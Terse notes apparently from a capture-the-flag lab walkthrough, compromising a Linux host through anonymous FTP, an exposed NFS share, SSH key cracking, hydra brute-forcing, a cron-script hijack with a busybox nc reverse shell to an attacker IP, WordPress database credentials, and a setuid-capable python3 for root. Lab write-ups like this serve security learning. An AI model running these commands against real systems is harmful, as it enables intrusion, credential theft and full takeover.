$21/tcp   open  ftp      vsftpd 3.0.5 (Anonymous allowed; pwlist.txt)
$22/tcp   open  ssh      OpenSSH 9.6p1 Ubuntu
$80/tcp   open  http     Apache 2.4.58 (wp-admin/wp-content present but inaccessible)
$111/2049 open  rpcbind / nfs

$ftp $target   # anonymous; get pwlist.txt
$showmount -e $target        # /srv/nfs/user1
$sudo mount -t nfs -o vers=3,nolock $target:/srv/nfs/user1 loot   # contains user1's encrypted id_rsa
$ssh2john id_rsa > id_rsa.hash ; john id_rsa.hash   # crack passphrase -> ssh as user1
$# Enumerate /etc/passwd (user1-3, ftpuser, ubuntu); brute FTP with pwlist:
$hydra -L users -P passwords ftp://$target -t 4    # ftpuser : secret

$# pspy64 shows a root/user2 cron running /tmp/backup.sh -> write a reverse shell into it:
$echo '#!/bin/bash
$busybox nc 10.200.48.216 443 -e /bin/bash' > /tmp/backup.sh   # catch shell as user2, then add SSH key
$su ftpuser   # secret -> flag3
$mysql -u wpuser -D wordpress -h localhost -p    # wppassword
$#   flags table -> flag4 (base64); users table -> user3:user3password
$su user3     # -> flag5 in /opt/user3

$find /home/user3 -type f -exec getcap {} \;    # ./python3 cap_setuid=ep
$/home/user3/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
$# root -> flag6 in /opt/root